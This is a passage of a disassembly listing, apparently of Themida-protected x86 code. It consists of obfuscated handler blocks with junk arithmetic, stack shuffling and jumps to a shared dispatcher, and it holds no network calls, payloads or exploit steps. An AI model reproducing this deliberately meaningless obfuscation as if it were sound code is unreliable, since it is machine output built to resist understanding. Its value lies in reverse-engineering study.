		and	edx, 3E544AABh
		jmp	loc_5539FC
; ---------------------------------------------------------------------------


loc_5598B0:				; CODE XREF: Themida_:0055A5FDj
		or	al, 4Fh
		and	al, 3Bh
		shl	al, 5
		add	al, 0A4h
		jmp	loc_55BA64
; ---------------------------------------------------------------------------


loc_5598BE:				; CODE XREF: Themida_:00554C7Bj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_555A04
; ---------------------------------------------------------------------------


loc_5598C9:				; CODE XREF: Themida_:005525E6j
		mov	esp, [esp]
		push	4BFAh
		mov	[esp], esi
		push	25F9h
		jmp	loc_55C18B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0B82h
		mov	[esp], ecx
		jmp	loc_555F15
; ---------------------------------------------------------------------------


loc_5598EF:				; CODE XREF: Themida_:005591E6j
		shl	ecx, 4
		jmp	loc_55B8B4
; ---------------------------------------------------------------------------


loc_5598F7:				; CODE XREF: Themida_:0055342Fj
		add	esp, 4
		xor	bx, dx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ax, bx
		mov	bx, [esp]
		add	esp, 2
		sub	esp, 2
		mov	[esp], bp
		mov	bp, 76CDh
		push	edx
		push	edi
		push	small 380Dh
		pop	di
		or	di, 2D65h
		xor	di, 232Ah
		inc	di
		jmp	loc_558E0B
; ---------------------------------------------------------------------------


loc_559938:				; CODE XREF: Themida_:00558EE7j
		push	14ECh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_553CD8
; ---------------------------------------------------------------------------


loc_559948:				; CODE XREF: Themida_:0055722Aj
		mov	eax, [esp]
		jmp	loc_554975
; ---------------------------------------------------------------------------


loc_559950:				; CODE XREF: Themida_:0055B512j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55AF87
; ---------------------------------------------------------------------------


loc_55995E:				; CODE XREF: Themida_:005592CAj
		not	edi
		jmp	loc_559EE3
; ---------------------------------------------------------------------------


loc_559965:				; CODE XREF: Themida_:005558D7j
		sub	esi, 70F419D8h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_557D34
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55B0DA
; ---------------------------------------------------------------------------


loc_559992:				; CODE XREF: Themida_:005529B7j
		pop	ebx
		pop	ecx
		sub	bl, dl
		pop	dx
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_554F16
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5599B5:				; CODE XREF: Themida_:0055A95Aj
		mov	ecx, 63552DCh
		sub	ecx, 2D60B2Bh
		xor	edx, ecx
		jmp	loc_559D54
; ---------------------------------------------------------------------------


loc_5599C7:				; CODE XREF: Themida_:005580A2j
		sub	bx, 0C38h
		movzx	eax, ax
		push	ebx
		jmp	loc_55647C
; ---------------------------------------------------------------------------


loc_5599D5:				; CODE XREF: Themida_:0055CADCj
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_554A25
; ---------------------------------------------------------------------------


loc_5599DE:				; CODE XREF: Themida_:005558E2j
		mov	ebp, [esp]
		jmp	loc_558C51
; ---------------------------------------------------------------------------


loc_5599E6:				; CODE XREF: Themida_:0055AF54j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_557F7D
; ---------------------------------------------------------------------------


loc_5599F5:				; CODE XREF: Themida_:005575B8j
		push	ebp
		jmp	loc_55568B
; ---------------------------------------------------------------------------


loc_5599FB:				; CODE XREF: Themida_:005549C0j
		pop	edx
		jmp	loc_555178
; ---------------------------------------------------------------------------


loc_559A01:				; CODE XREF: Themida_:00553EC8j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_558D0B
; ---------------------------------------------------------------------------


loc_559A11:				; CODE XREF: Themida_:0055D66Fj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559A16:				; CODE XREF: Themida_:0055B938j
		mov	esi, 9EC5BD67h
		push	esi
		sub	dword ptr [esp], 38D13A90h
		pop	ebp
		add	ebp, 38D13A90h
		pop	esi
		sub	edi, ebp
		pop	ebp
		mov	ebx, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 18D5584Fh
		jmp	loc_552D3C
; ---------------------------------------------------------------------------


loc_559A41:				; CODE XREF: Themida_:0055911Ej
		not	edx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		xor	ebx, 6682F6ABh
		sub	eax, 95C1BCFh
		jmp	loc_553C88
; ---------------------------------------------------------------------------


loc_559A59:				; CODE XREF: Themida_:0055D607j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556F48
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55AB0C
; ---------------------------------------------------------------------------


loc_559A73:				; CODE XREF: Themida_:0055D92Cj
		xor	esi, 250567CFh
		xor	esi, 45232A17h
		xor	edi, esi
		pop	esi
		add	edi, 6D15A36h
		xor	edi, 3DBB305Dh
		sub	edi, 181F2CD9h
		add	ebx, edi
		pop	edi
		push	eax
		push	esi
		jmp	loc_557BF0
; ---------------------------------------------------------------------------


loc_559A9E:				; CODE XREF: Themida_:0055DC05j
		pop	edx
		push	small 5B1Ah
		mov	[esp], bx
		push	eax
		jmp	loc_555419
; ---------------------------------------------------------------------------


loc_559AAD:				; CODE XREF: Themida_:00555B97j
		xchg	al, dl
		push	eax
		mov	al, 0E4h
		and	dl, al
		pop	eax
		xor	dl, 0D7h
		xor	al, dl
		pop	edx
		push	ecx
		mov	cl, 0E9h
		xor	cl, 0C5h
		jmp	loc_55BA41
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559ACF:				; CODE XREF: Themida_:0055B463j
		sub	dword ptr [esp], 12521886h
		push	dword ptr [esp]
		jmp	loc_552794
; ---------------------------------------------------------------------------


loc_559ADE:				; CODE XREF: Themida_:005522CEj
		mov	ebp, esp
		jmp	loc_552A26
; ---------------------------------------------------------------------------


loc_559AE5:				; CODE XREF: Themida_:0055D3DCj
		xor	ah, 3Bh
		add	bl, 0DDh
		add	bl, ah
		sub	bl, 0DDh
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	1C0Ah
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 63644311h
		jmp	loc_553DF6
; ---------------------------------------------------------------------------


loc_559B10:				; CODE XREF: Themida_:005555DEj
		push	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0DE53013h
		not	edi
		neg	edi
		sub	edi, 7FAB05Fh
		jmp	loc_551F5D
; ---------------------------------------------------------------------------


loc_559B2E:				; CODE XREF: Themida_:0055CEA3j
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_559D27
; ---------------------------------------------------------------------------


loc_559B41:				; CODE XREF: Themida_:00556075j
		mov	[esp], edx
		push	ecx
		jmp	loc_55D7A3
; ---------------------------------------------------------------------------


loc_559B4A:				; CODE XREF: Themida_:005523E7j
		dec	esi
		shl	esi, 2
		sub	esi, 2F7CA41Eh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_554704
; ---------------------------------------------------------------------------


loc_559B61:				; CODE XREF: Themida_:00557881j
		not	ebp
		not	ebp
		sub	ebp, 6622820Bh
		add	esi, ebp
		jmp	loc_5580B0
; ---------------------------------------------------------------------------


loc_559B72:				; CODE XREF: Themida_:00556E37j
		pop	ebp
		jmp	loc_555DE0
; ---------------------------------------------------------------------------


loc_559B78:				; CODE XREF: Themida_:0055B7ABj
		push	ebx
		push	ebp
		mov	ebp, 70645A79h
		jmp	loc_55BD7C
; ---------------------------------------------------------------------------


loc_559B84:				; CODE XREF: Themida_:0055D295j
		mov	[esp], esi
		push	ecx
		mov	ecx, 73F523CDh
		jmp	loc_551ACF
; ---------------------------------------------------------------------------


loc_559B92:				; CODE XREF: Themida_:00551ACAj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559B97:				; CODE XREF: Themida_:0055843Fj
					; Themida_:0055A816j ...
		push	6249h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_55B7A0
; ---------------------------------------------------------------------------


loc_559BAE:				; CODE XREF: Themida_:0055489Fj
		sub	esi, ebp
		push	dword ptr [esp]
		jmp	loc_557981
; ---------------------------------------------------------------------------


loc_559BB8:				; CODE XREF: Themida_:0055774Bj
		shr	ebx, 7
		xor	ebx, 14B93875h
		add	ebx, 0BA0F3C8h
		sub	eax, ebx
		pop	ebx
		xor	eax, 4F9022C1h
		add	edx, eax
		pop	eax
		push	esi
		mov	esi, 4
		sub	edx, esi
		jmp	loc_558F81
; ---------------------------------------------------------------------------


loc_559BDF:				; CODE XREF: Themida_:0055D21Dj
		add	eax, 76EC45F7h
		pop	esi
		push	ebp
		push	esi
		push	14906984h
		jmp	loc_55AC88
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559C01:				; CODE XREF: Themida_:0055D9AFj
		add	esi, 399A1244h
		sub	esi, edi
		jmp	loc_55D0CA
; ---------------------------------------------------------------------------


loc_559C0E:				; CODE XREF: Themida_:0055AB53j
		xchg	esi, [esp]
		pop	esp
		push	sp
		pop	small word ptr [esp]
		push	small 7785h
		mov	[esp], si
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55CD03
; ---------------------------------------------------------------------------


loc_559C30:				; CODE XREF: Themida_:005553C1j
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559C4C:				; CODE XREF: Themida_:00556A37j
		push	edx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 271D0401h
		push	ecx
		mov	ecx, 0AAFAE052h
		add	edx, 3FDB7ABEh
		jmp	loc_557109
; ---------------------------------------------------------------------------


loc_559C75:				; CODE XREF: Themida_:005573A1j
		add	esp, 4
		mov	dword ptr [ecx], 30285875h
		jmp	loc_554D60
; ---------------------------------------------------------------------------


loc_559C86:				; CODE XREF: Themida_:0055CAA0j
		mov	esi, 0CD13518h
		jmp	loc_555F79
; ---------------------------------------------------------------------------


loc_559C90:				; CODE XREF: Themida_:0055DEE4j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_559C95:				; CODE XREF: Themida_:00557ECAj
		xchg	edi, [esp]
		jmp	loc_552DA1
; ---------------------------------------------------------------------------


loc_559C9D:				; CODE XREF: Themida_:00553B34j
		mov	ecx, 49811ED8h
		jmp	loc_55B218
; ---------------------------------------------------------------------------


loc_559CA7:				; CODE XREF: Themida_:00558B72j
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2F8A52BCh
		jmp	loc_5571D0
; ---------------------------------------------------------------------------


loc_559CB7:				; CODE XREF: Themida_:0055CA86j
		xor	esi, 6D8A4D16h
		sub	ebp, 528C60FFh
		add	ebp, esi
		add	ebp, 528C60FFh
		pop	esi
		jmp	loc_555233
; ---------------------------------------------------------------------------


loc_559CD1:				; CODE XREF: Themida_:0055583Fj
		mov	[esp], eax
		mov	eax, edi
		jmp	loc_55DD6E
; ---------------------------------------------------------------------------


loc_559CDB:				; CODE XREF: Themida_:00559D1Bj
		mov	eax, 221A5032h
		sub	ebx, eax
		jmp	loc_55812D
; ---------------------------------------------------------------------------


loc_559CE7:				; CODE XREF: Themida_:0055CEE7j
		mov	esi, 57A35B8Fh
		xor	esi, 3EE90481h
		not	esi
		xor	esi, 0C95CAEA3h
		add	eax, esi
		jmp	loc_55CB25
; ---------------------------------------------------------------------------


loc_559D01:				; CODE XREF: Themida_:0055A80Ej
		pop	ebp
		push	edx
		jmp	loc_554C90
; ---------------------------------------------------------------------------


loc_559D08:				; CODE XREF: Themida_:00554532j
		push	ecx
		mov	ecx, 435B2A6Bh
		xor	ecx, 768B6E83h
		xor	ecx, 4AC3930h
		push	eax
		jmp	loc_559CDB
; ---------------------------------------------------------------------------


loc_559D20:				; CODE XREF: Themida_:00557B09j
		add	eax, edx
		jmp	loc_55965D
; ---------------------------------------------------------------------------


loc_559D27:				; CODE XREF: Themida_:00559B3Cj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, 0A2h
		mov	dl, 0FAh
		sub	dl, al
		push	dword ptr [esp]
		jmp	loc_552B3E
; ---------------------------------------------------------------------------


loc_559D42:				; CODE XREF: Themida_:00552321j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edi, 2
		jmp	loc_5587EC
; ---------------------------------------------------------------------------


loc_559D54:				; CODE XREF: Themida_:005599C2j
		pop	ecx
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_554FE1
; ---------------------------------------------------------------------------


loc_559D5F:				; CODE XREF: Themida_:0055C482j
		add	esp, 4
		xor	ecx, 1E3D24C5h
		jmp	loc_55A5C1
; ---------------------------------------------------------------------------


loc_559D70:				; CODE XREF: Themida_:0055D6EFj
		add	ebp, 4
		jmp	loc_556FD1
; ---------------------------------------------------------------------------


loc_559D7B:				; CODE XREF: Themida_:005539AFj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55A333
; ---------------------------------------------------------------------------


loc_559D9A:				; CODE XREF: Themida_:005547CBj
		add	ebx, ecx
		pop	ecx
		jmp	loc_553E9C
; ---------------------------------------------------------------------------


loc_559DA2:				; CODE XREF: Themida_:0055ACB6j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559400
; ---------------------------------------------------------------------------


loc_559DB0:				; CODE XREF: Themida_:0055BBB1j
		mov	edi, 25FC4744h
		jmp	loc_551C83
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 37A67F38h
		shl	ecx, 3
		or	ecx, 54533414h
		and	ecx, 139028A1h
		shr	ecx, 1
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_558C3B
; ---------------------------------------------------------------------------


loc_559DE9:				; CODE XREF: Themida_:00553756j
		pop	esp
		jmp	loc_55D40C
; ---------------------------------------------------------------------------


loc_559DEF:				; CODE XREF: Themida_:00553681j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5596F9
; ---------------------------------------------------------------------------


loc_559E04:				; CODE XREF: Themida_:0055C5F9j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	dword ptr [esp+4], 6F956188h
		add	[esp+4], esi
		jmp	loc_553DB9
; ---------------------------------------------------------------------------


loc_559E1E:				; CODE XREF: Themida_:00558DF5j
		push	ecx
		push	eax
		jmp	loc_552D14
; ---------------------------------------------------------------------------


loc_559E25:				; CODE XREF: Themida_:0055565Fj
		or	ebp, 16805A21h
		push	edi
		mov	edi, 6E066ABh
		shl	edi, 8
		and	edi, 1C661794h
		add	edi, 4FC426E4h
		or	edi, 1CF87901h
		xchg	ebx, edi
		jmp	loc_55D7CB
; ---------------------------------------------------------------------------


loc_559E4D:				; CODE XREF: Themida_:00554523j
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	esi, eax
		pop	eax
		mov	[edx+38h], esi
		pop	esi
		xor	[edx+38h], ebp
		pop	ebp


loc_559E64:				; CODE XREF: Themida_:00555CAFj
		push	5194h
		jmp	loc_55BCB1
; ---------------------------------------------------------------------------


loc_559E6E:				; CODE XREF: Themida_:0055CE3Cj
		xor	eax, 17B912F1h
		sub	esi, eax
		jmp	loc_55DA75
; ---------------------------------------------------------------------------


loc_559E7A:				; CODE XREF: Themida_:0055D708j
		pop	edi
		jmp	loc_555464
; ---------------------------------------------------------------------------


loc_559E80:				; CODE XREF: Themida_:00553D29j
		push	0FFFFFFFFh
		pop	edi
		mov	ecx, edi
		mov	edi, [esp]
		push	0DE4h
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	4
		pop	ecx
		jmp	loc_5544C9
; ---------------------------------------------------------------------------
		push	2C08h
		mov	[esp], ebp
		jmp	loc_55537A
; ---------------------------------------------------------------------------


loc_559EAE:				; CODE XREF: Themida_:00555C1Ej
		add	edi, 63756643h
		add	eax, edi
		pop	edi
		add	eax, edi
		sub	eax, 9B332B5h
		jmp	loc_55C0D6
; ---------------------------------------------------------------------------


loc_559EC3:				; CODE XREF: Themida_:00555219j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5522EA
; ---------------------------------------------------------------------------


loc_559ED0:				; CODE XREF: Themida_:00555C36j
		sub	ecx, 0BB97D28h
		add	ecx, esi
		add	ecx, 0BB97D28h
		jmp	loc_555FF4
; ---------------------------------------------------------------------------


loc_559EE3:				; CODE XREF: Themida_:00559960j
		xchg	edi, edx
		sub	edx, 4D5B4F2Bh
		jmp	loc_558772
; ---------------------------------------------------------------------------


loc_559EF0:				; CODE XREF: Themida_:00554C35j
		push	328h
		mov	[esp], ebp
		mov	ebp, 16CD1815h
		or	ebp, 4C2475F5h
		xor	ebp, 5EED7DF1h
		add	ecx, ebp
		jmp	loc_5584C9
; ---------------------------------------------------------------------------


loc_559F10:				; CODE XREF: Themida_:0055A425j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_559F1F:				; CODE XREF: Themida_:00558AA5j
		push	3449h
		mov	[esp], ebx
		add	dword ptr [esp], 41B1188Fh
		pop	eax
		sub	esp, 4
		jmp	loc_55674E
; ---------------------------------------------------------------------------


loc_559F37:				; CODE XREF: Themida_:005550B2j
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 1D7C7258h
		inc	ebp
		and	ebp, 48353354h
		shr	ebp, 3
		and	ebp, 27325850h
		jmp	loc_558021
; ---------------------------------------------------------------------------


loc_559F5A:				; CODE XREF: Themida_:0055B501j
		push	6CDBh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 60551A40h
		shl	ebp, 7
		jmp	loc_5580A7
; ---------------------------------------------------------------------------


loc_559F72:				; CODE XREF: Themida_:00556B4Bj
		add	esp, 4
		add	esp, 4
		add	eax, 4
		jmp	loc_556DE4
; ---------------------------------------------------------------------------


loc_559F85:				; CODE XREF: Themida_:0055CCBDj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	bl, 0A4h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55D46F
; ---------------------------------------------------------------------------


loc_559F9A:				; CODE XREF: Themida_:00555696j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5525EB
; ---------------------------------------------------------------------------


loc_559FA5:				; CODE XREF: Themida_:00558C41j
		add	esp, 4
		jmp	loc_553929
; ---------------------------------------------------------------------------


loc_559FB0:				; CODE XREF: Themida_:0055B536j
		pop	ebx
		push	edi
		jmp	loc_55834C
; ---------------------------------------------------------------------------


loc_559FB7:				; CODE XREF: Themida_:0055DA70j
		sub	eax, 5A5255AAh
		mov	edi, [esp]
		add	esp, 4
		add	eax, ebx
		add	eax, 5A52301h
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 52EB3934h
		inc	eax
		jmp	loc_55BBDC
; ---------------------------------------------------------------------------


loc_559FDE:				; CODE XREF: Themida_:0055CAB1j
		push	eax
		mov	eax, 2FDF30F6h
		xor	eax, 55E66973h
		sub	eax, 4238520Dh
		shr	eax, 2
		push	esi
		mov	esi, 77E021A7h
		add	esi, 7C57F506h
		add	eax, esi
		pop	esi
		jmp	loc_55A54C
; ---------------------------------------------------------------------------


loc_55A005:				; CODE XREF: Themida_:0055B2B0j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_558CEA
; ---------------------------------------------------------------------------


loc_55A01A:				; CODE XREF: Themida_:00552829j
		pop	edi
		sub	ecx, 0F560264h
		add	ecx, edi
		jmp	loc_554F20
; ---------------------------------------------------------------------------


loc_55A028:				; CODE XREF: Themida_:00556C4Ej
		add	edx, 1FAC6D85h
		sub	edx, 9693E62Ch
		mov	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A049:				; CODE XREF: Themida_:00554F3Aj
		add	ebp, edi
		push	ebx
		mov	ebx, 526B78D6h
		add	ebp, ebx
		pop	ebx
		jmp	loc_55D782
; ---------------------------------------------------------------------------


loc_55A059:				; CODE XREF: Themida_:00555104j
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55CCA5
; ---------------------------------------------------------------------------


loc_55A07E:				; CODE XREF: Themida_:0055A864j
		add	ecx, 92A99EAFh
		jmp	loc_55B1C9
; ---------------------------------------------------------------------------


loc_55A089:				; CODE XREF: Themida_:0055BCB4j
		push	4C79h
		jmp	loc_551ADE
; ---------------------------------------------------------------------------


loc_55A093:				; CODE XREF: Themida_:005553E2j
		mov	cl, 13h
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		mov	bh, 34h
		mov	al, bh
		pop	ebx
		sub	cl, al
		jmp	loc_5539A2
; ---------------------------------------------------------------------------


loc_55A0A9:				; CODE XREF: Themida_:005574BEj
		pop	esi
		add	ecx, edx
		add	ecx, 27225940h
		pop	edx
		add	ecx, 5381094Bh
		add	ecx, edi
		jmp	loc_55C5FE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A0C8:				; CODE XREF: Themida_:0055A93Cj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55BD34
; ---------------------------------------------------------------------------


loc_55A0EE:				; CODE XREF: Themida_:00553D32j
		push	1985h
		jmp	loc_556102
; ---------------------------------------------------------------------------


loc_55A0F8:				; CODE XREF: Themida_:005595DDj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_555784
; ---------------------------------------------------------------------------


loc_55A103:				; CODE XREF: Themida_:005559B4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55CE4E
; ---------------------------------------------------------------------------


loc_55A10E:				; CODE XREF: Themida_:0055C397j
		mov	eax, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55C815
; ---------------------------------------------------------------------------


loc_55A124:				; CODE XREF: Themida_:00553DD2j
		mov	edi, 4A484FE0h
		jmp	loc_556504
; ---------------------------------------------------------------------------


loc_55A12E:				; CODE XREF: Themida_:00552B5Bj
		mov	[esp], dx
		mov	dl, 13h
		jmp	loc_55E015
; ---------------------------------------------------------------------------


loc_55A139:				; CODE XREF: Themida_:0055C098j
		sub	ch, dh
		pop	dx
		sub	ch, 0Dh
		add	ch, 51h
		sub	al, ch
		pop	ecx
		sub	al, 0FAh
		add	al, cl
		push	bx
		mov	bh, 0FAh
		jmp	loc_55672E
; ---------------------------------------------------------------------------


loc_55A153:				; CODE XREF: Themida_:0055D840j
		mov	[esp], ecx
		push	esp
		jmp	loc_5524E7
; ---------------------------------------------------------------------------


loc_55A15C:				; CODE XREF: Themida_:00553AFDj
		add	al, 0F9h
		pop	ecx
		jmp	loc_551B60
; ---------------------------------------------------------------------------


loc_55A164:				; CODE XREF: Themida_:0055B190j
		xor	edi, edx
		mov	edx, [esp]
		push	edx
		jmp	loc_557C01
; ---------------------------------------------------------------------------


loc_55A16F:				; CODE XREF: Themida_:0055B5FBj
		pop	ebp
		jmp	loc_5552C3
; ---------------------------------------------------------------------------


loc_55A175:				; CODE XREF: Themida_:0055C6AFj
		mov	ebp, 295E4792h
		and	ebp, 5DB570CBh
		sub	ebp, 34AF2857h
		add	ebp, 75C15ECAh
		neg	ebp
		jmp	loc_55974C
; ---------------------------------------------------------------------------


loc_55A193:				; CODE XREF: Themida_:0055ADA4j
		mov	[esp], esi
		mov	esi, 741F7A76h
		xor	esi, 0C2A3D39h
		inc	esi
		xor	esi, 47761BE4h
		jmp	loc_55C9D1
; ---------------------------------------------------------------------------


loc_55A1AD:				; CODE XREF: Themida_:005546B5j
		mov	edi, 0FA712022h
		xor	ebx, edi
		pop	edi
		sub	ebp, 51AE176Dh
		sub	ebp, ebx
		add	ebp, 51AE176Dh
		pop	ebx
		sub	eax, 2DFA57B0h
		sub	eax, ebp
		jmp	loc_55A23A
; ---------------------------------------------------------------------------


loc_55A1D0:				; CODE XREF: Themida_:0055B4F9j
		push	edx
		jmp	loc_5588CD
; ---------------------------------------------------------------------------


loc_55A1D6:				; CODE XREF: Themida_:005594CFj
		xor	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55872D
; ---------------------------------------------------------------------------


loc_55A1E5:				; CODE XREF: Themida_:00552BECj
		pop	edi
		jmp	loc_55A750
; ---------------------------------------------------------------------------


loc_55A1EB:				; CODE XREF: Themida_:00552525j
		sub	ecx, 2BEF05BDh
		push	eax
		mov	eax, 112F6653h
		jmp	loc_558DFA
; ---------------------------------------------------------------------------


loc_55A1FC:				; CODE XREF: Themida_:00557302j
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_558586
; ---------------------------------------------------------------------------


loc_55A206:				; CODE XREF: Themida_:00558AE7j
		mov	edi, esi
		pop	esi
		xor	ebp, edi
		jmp	loc_55A453
; ---------------------------------------------------------------------------


loc_55A210:				; CODE XREF: Themida_:00558A45j
		mov	edi, 2
		add	eax, edi
		jmp	loc_5554CA
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A224:				; CODE XREF: Themida_:005570E8j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_555887
; ---------------------------------------------------------------------------


loc_55A232:				; CODE XREF: Themida_:0055A8B7j
		xor	edi, [esp]
		jmp	loc_552A43
; ---------------------------------------------------------------------------


loc_55A23A:				; CODE XREF: Themida_:0055A1CBj
		add	eax, 2DFA57B0h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55B24C
; ---------------------------------------------------------------------------


loc_55A24D:				; CODE XREF: Themida_:0055D133j
		add	edi, esi
		pop	esi
		sub	edi, 27120096h
		pop	edx
		push	esi
		jmp	loc_55A434
; ---------------------------------------------------------------------------


loc_55A25D:				; CODE XREF: Themida_:0055A51Dj
		pop	esi
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A263:				; CODE XREF: Themida_:00553FC4j
		add	eax, 0DFFEFA0Ah
		add	edx, eax
		pop	eax
		jmp	loc_55CE47
; ---------------------------------------------------------------------------


loc_55A270:				; CODE XREF: Themida_:005542F6j
		push	esi
		jmp	loc_557431
; ---------------------------------------------------------------------------


loc_55A276:				; CODE XREF: Themida_:0055D1A4j
		mov	edi, esp
		jmp	loc_55D70D
; ---------------------------------------------------------------------------


loc_55A27D:				; CODE XREF: Themida_:00552282j
		not	dword ptr [esp]
		pop	ebp
		or	ebp, 0F670C95h
		jmp	loc_55DB7B
; ---------------------------------------------------------------------------


loc_55A28C:				; CODE XREF: Themida_:0055DB02j
		sub	eax, 4
		jmp	loc_558C99
; ---------------------------------------------------------------------------


loc_55A296:				; CODE XREF: Themida_:0055D1C2j
		mov	ebx, 2563619Ah
		sub	ebx, 0EACD56DDh
		add	edi, 4B5300A7h
		sub	edi, ebx
		jmp	loc_55D74B
; ---------------------------------------------------------------------------


loc_55A2AE:				; CODE XREF: Themida_:00555B4Aj
		mov	ecx, 750287Fh
		jmp	loc_55C1FF
; ---------------------------------------------------------------------------


loc_55A2B8:				; CODE XREF: Themida_:00556037j
		mov	[esp], eax
		push	6A1742EFh
		pop	eax
		jmp	loc_55DF0A
; ---------------------------------------------------------------------------


loc_55A2C6:				; CODE XREF: Themida_:0055CC7Fj
		pop	eax
		jmp	loc_552C78
; ---------------------------------------------------------------------------


loc_55A2CC:				; CODE XREF: Themida_:005577BBj
		mov	esi, 49904DB7h
		dec	esi
		shl	esi, 8
		push	0
		sub	[esp], esi
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 1
		sub	esi, 0A101D85h
		add	esi, 80CEE482h
		mov	edx, esi
		pop	esi
		push	ebx
		jmp	loc_55C6EB
; ---------------------------------------------------------------------------


loc_55A2FD:				; CODE XREF: Themida_:0055CC5Bj
		neg	esi
		add	esi, 1F6960E0h
		add	esi, 18E3424Ch
		mov	eax, esi
		pop	esi
		jmp	loc_55B444
; ---------------------------------------------------------------------------


loc_55A313:				; CODE XREF: Themida_:00554B6Cj
		push	edi
